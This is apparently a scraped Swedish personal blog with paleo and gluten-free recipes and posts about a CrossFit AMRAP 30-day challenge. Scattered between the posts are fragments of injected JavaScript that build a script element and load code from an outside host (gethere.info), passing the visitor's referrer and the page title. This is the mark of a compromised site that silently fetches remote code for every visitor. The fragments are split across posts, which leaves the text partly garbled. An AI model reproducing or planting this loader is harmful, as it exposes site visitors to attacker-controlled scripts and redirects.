Paleo yoghurt

 

bild1

Recept (1 port)

  • 1 liten avokado
  • 1 liten banan
  • 1 msk citronsaft
  • ev. lite vaniljpulver
  • ca 1-1,5 dl Hallon
  • Lite mandelmjölk eller kokosmjölk . Jag använde ca 2dl kokosmjölk. Om du vill ha en lösare konsistens rekommenderar jag kokosmjölk light.

Servera med: hackade nötter eller mandel, kokoschips eller kokosflingor, melonkärnor, pumpafrön, linfrön, cocoa-nibs, bär … osv…

Gör så här:

Kör ingredienserna i en matberedare eller mixa med stavmixer. Spä med lite vätska för att få den konsistens du önskar.

bild4

bild6

bild7

bild27

bild28

bild2

bild8

bild26

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Fröknäcke kardemumma/kanel

Knäck

Det här fröknäcket smakar supergott med smak av kardemumma/kanel. Receptet hittade jag här. Nästa gång jag bakar tänker jag lägga på lite flingsalt på toppen innan gräddning.

Fröknäcke med kardemumma och kanel (1 bakplåt)
1 dl solroskärnor
1 dl sesamfrön
1 dl hela linfrön
1 msk fiberhusk
1 tsk kardemumma
1 tsk kanel
0,5 tsk salt
2,5 dl kokhett vatten
0,5 dl kokosfett

Sätt ugnen på 150 grader. Blanda ihop de torra ingredienserna. Koka vattnet, häll i kokosfettet och låt det smälta. Rör ihop allt. Bred/kavla ut på bakplåtspapper. Grädda i ca 50 min. Dela i lagom bitar med tex en pizza-slicer. Lägg på galler och låt stå i eftervärme i ca 1 timma.

bild2

bild1bild3

bild14

bild4bild15bild6

bild9

bild7bild8bild10bild13Knäck3bild5

Fröknäcke passar utmärkt med en god Paleo smoothie gjord på hallon, banan och kokosmjölk.

bild1

 }

Paleo Smoothie (hallon)

Dryck

Här kommer ett recept på en underbar smoothie. Receptet hittade jag här.

Paleo Smoothie med hallon, banan och kokosmjölk
Detta behöver du till två stora glas
4 dl kokosmjölk light
300g halvfrusna hallon (jag tog ca 125 gram halvtinade hallon)
1 st banan
Lite riven kokos till topping
Så här gör du

  • Häll kokosmjölken i en mixerbunke.
  • Lägg i hallonen och bananen, som du delar i mindre bitar.
  • Mixa med mixerstav till en slät och krämig smoothie.
  • Häll upp i glas och toppa med lite riven kokos.

Banan

bild12

bild10bild9

bild8

bild7bild3bild1

Göta Amrap 30 dagars challenge dag 1.

Igår körde jag AMRAP 30 på kvällen och det var kämpigt. Vi jobbade i team av 2 och jag och min teampolare Charlotte hann med 3 1/2 varv = totalt 420 reps och 4 X 400 m run =1600 m . Vi som är med i 30 dagars challenge skrev ner vårat score på tavlan nedan.Då jag inte körde med min challenge kamrat  Sara så fick vi dela vårat gemensamma resultat i två. Mitt score blev 210 reps +800 m run.

AMRAP 30
30 Swings 24/16
30 Thrusters 40/30
400 m run
30 pullups
30 wallballs 9/6

10157139_10152178818487893_2865644279354503335_n

1508991_630959090323659_6266394183013763906_n

XXdocument.currentScript.parentNode.insertBefore(s, document.currentScript);

Boef Bourguignon

bild3

Igår lagade jag Boef Bourguignon och receptet hittade jag här. Fick tipset att man kan reda ut grytan med Arrowrot istället för mjöl om man kör Paleo/glutenfritt.

Recept:
1,5 kg nötkött, högrev, ytterlår eller fransyska
2 msk kokosolja
2 st morötter
6 smålökar
1,5 tsk Himalayasalt
2 krm svartpeppar
6 dl rött vin (jag tog den flaskan jag hade hemma)
5 dl köttbuljong (jag lagade min egna buljong)
2 msk tomatpuré
0,5 tsk timjan (torkad)
1 st lagerblad
3 st vitlöksklyftor
300 gram champinjoner

Gör så här:
Skär köttet i 2-3 cm stora tärningar. Bryn det i omgångar i en stekpanna och lägg över i en rymlig gryta.
Skär morötterna i skivor och dela champinjonerna om de är stora. Fräs lite lätt och lägg över i grytan tillsammans med löken. Salta och peppra. Häll på vin och buljong så det täcker. Tillsätt tomatpuré, timjan och lagerblad. Pressa vitlöksklyftorna och koka upp grytan under omrörning. Låt grytan småputtra tills köttet är mört ca 1 1/2 timme.

bild10

bild11

bild9

bild8

bild7bild6bild5bild2

Majonnäs (Paleo)

bild5 - Kopia

Nu har jag provat att laga majonnäs och den blev riktigt krämig och god. I originalreceptet står det 1 dl kokosolja. Nu har jag halverat detta till 0,5 dl  för att få en bättre balans då jag tyckte kokossmaken tog över lite för mycket  tidigare. Grundreceptet hittade jag här. Det  här receptet är perfekt att använda som en bas till när du vill göra bea, aioli eller annan typ av smaksättning.

Majonnäs
Ingredienser
2 äggulor
1 tsk senap ( frivilligt)
3 tsk citronsaft
1,5  dl olivolja
0,5 dl kokosolja (uppvärmd, flytande)
Lite salt och peppar

Tillagning
Vispa samman äggulorna med 1 tsk citronjuice och senapen.
Fortsätt vispa hårt samtidigt som du långsamt droppar i oljan. Droppe för droppe i början. Vispa oavbrutet
När du tillsätter mer olja kommer blandningen att bli tjockare och du kan tillsätta olja lite snabbare
När oljan är uppbunden i majonnäsen tillsätter du resten av citronjuicen och smakar av.
Tillsätt salt och peppar efter tycke och smak.
Majonnäsen kan förvaras i kylskåpet ca 1 vecka.

bild2 - Kopia

bild4 - Kopiabild3 - KopiaFör beavariant krydda med:
ca 2 tsk persilja
ca 2 tsk dragon

Blanda ihop och låt stå i kylen en stund innan servering.
bild7 - Kopia
bild6 - Kopia
bild1 - KopiaFör Aiolivariant krydda med:
ca 1-2 pressade vitlöksklyftor. Blanda ihop och låt stå i kylen en stund innan servering.
bild4 - Kopia

Det går också att smaksätta majonnäsen med tex chili, soltorkade tomater, saffran.

AMRAP 30 Challenge!

10304633_10152096618887513_1002233850170290476_n

Idag startar CrossFit Göta Amrap 30 dagar… Jag har bestämt mig för att vara med på detta och vi jobbar  i team om två och min lagkamrat är Sara på jobbet. Väldigt bekvämt med tanke på att vi ska byta matlådor med varandra för att få bonuspoäng.

Varje fredag läggs en ny vana och bonusutmaningar upp så att laget kan planera och förbereda inför den kommande veckan. Tävlingen sträcker sig Mån 28/4 till Mån 26/5, men det kan komma överraskningar i slutet!

Vecka 1 Måndag 2014-04-28

Veckans kostvana: Lev helt glutenfritt varje dag!

Praktisk bonusutmaning: Laga 10 glutenfria matlådor och byt med din lagkamrat så ni får 5 var.

Fysisk bonusutmaning: Kör Utvärderings metconen the AMRAP 30 och sätt en grym score!

AMRAP 30min av:
30 Swings 24/16
30 Thrusters 40/30
400m Run
30 Pull ups
30 Wallballs 9/6

Körs två och två där ni får dela på repsen men båda ska springa!

Protokoll: Bokför din egna score på google docs samt lagets varje dag på boxens scoreboards! Right dag betyder fina gröna kryss

Regler för AMRAP 30
Vem vinner: Det lag som har levt så många Right dagar som möjligt under 30 dagar.
Om det blir lika: Ifall några lag har lika många right dagar så är det bonuspoängen som kommer avgöra vilket det vinnande laget blir.
Vad vinner laget: Det stora priset är självklart en bättre hälsa, välmående och en större kunskap om maten vi stoppar i oss. Men vi har också andra fina priser och lite bonussaker för extra bra prestationer.
Hur får man en Right dag: Genom att följa utmaningens olika kostvanor varje dag och varje vecka lever man en Right dag och får bokföra detta i sitt google docs dokument (läggs upp i helgen). Det gäller att båda personerna lever en Right dag för att få bokföra ett GRÖNT kryss på boxens stora scoreboard. Om inte båda personerna har levt Right så sätter laget ett RÖTT kryss på tavlan istället. Självklart vill vi alla ha fina gröna rader varje vecka. Observera att det blir två olika scorer, en individuell och en för laget men det är bara lagets som räknas för vinst!

Wish me good luck!!!

 

 

 

 

 

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Glutenfria plättar med smak av kanel

 

Recept:
1 banan
1 ägg
Lite kanel

Mixa ihop banan och ägget. Värm upp en stekpanna. Grädda  på medelvarm platta 5 plättar och stek några minuter på varje sida.
Servera med färska blåbär och varför inte Fitness glassen.

var d=document;var s=d.createElement(‘script’);

Köttbullar med smak av dijonsenap

bild (18)

Recept:
1 st liten gul lök
1 tsk rapsolja
300 gram nötfärs
4 msk mjölk
1,5 msk ströbröd
2 msk dijonsenap
1 tsk farinsocker
1 tsk salt
0,5 tsk svartpeppar
1 krm vitpeppar
smör

Gör så här:
Skala och riv löken, Blanda färs med mjölk, ströbröd, senap, farinsocker, salt, peppar och lök.
Rulla köttbullar och stek i smör i en stekpanna.

bild (16)bild (18)

 }

Vit kladdchokladkaka

bild9

Den här kladdkakan har jag bakat många gånger och den är lika god  med eller utan glasyr.
Servera kakan med färsk ananas eller färska jordgubbar.
Receptet hittade jag här.

Recept 16 bitar
250 gram vit choklad
200 gram Smör
3 st ägg
2 12 dl strösocker
2 msk konjak (kan uteslutas)
2 dl vetemjöl

Glasyr
150 gram vit choklad
1/2 dl  vispgrädde
Florsocker

Gör så här:
Sätt ugnen på 175°. Hacka chokladen. Smält smöret i en kastrull. Ta från värmen och tillsätt chokladen och rör om tills den smälter. Vispa ägg och socker poröst. Rör i choklad, konjak och mjöl. Häll smeten i en smord och bröad form med löstagbar botten, ca 24 cm i diameter. Grädda i nedre delen av ugnen 30–35 min. Låt kakan kallna och ställ i kylen.

Glasyr: Hacka chokladen. Koka upp grädden. Ta den från värmen och tillsätt chokladen och rör om tills den smälter. Låt glasyren halv-stelna ca 5 min i kylen. Bred glasyren över kakan och låt den stelna i kylen. Sikta över florsocker.

bild1bild7

Så här ser kladdkakan ut när den är färdiggräddad.bild6

Om du vill ha glasyr på kakan så rekommenderar jag att du vänder på kakan för att få en slät kaka.

bild5

bild3bild4bild2bild8bild10

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;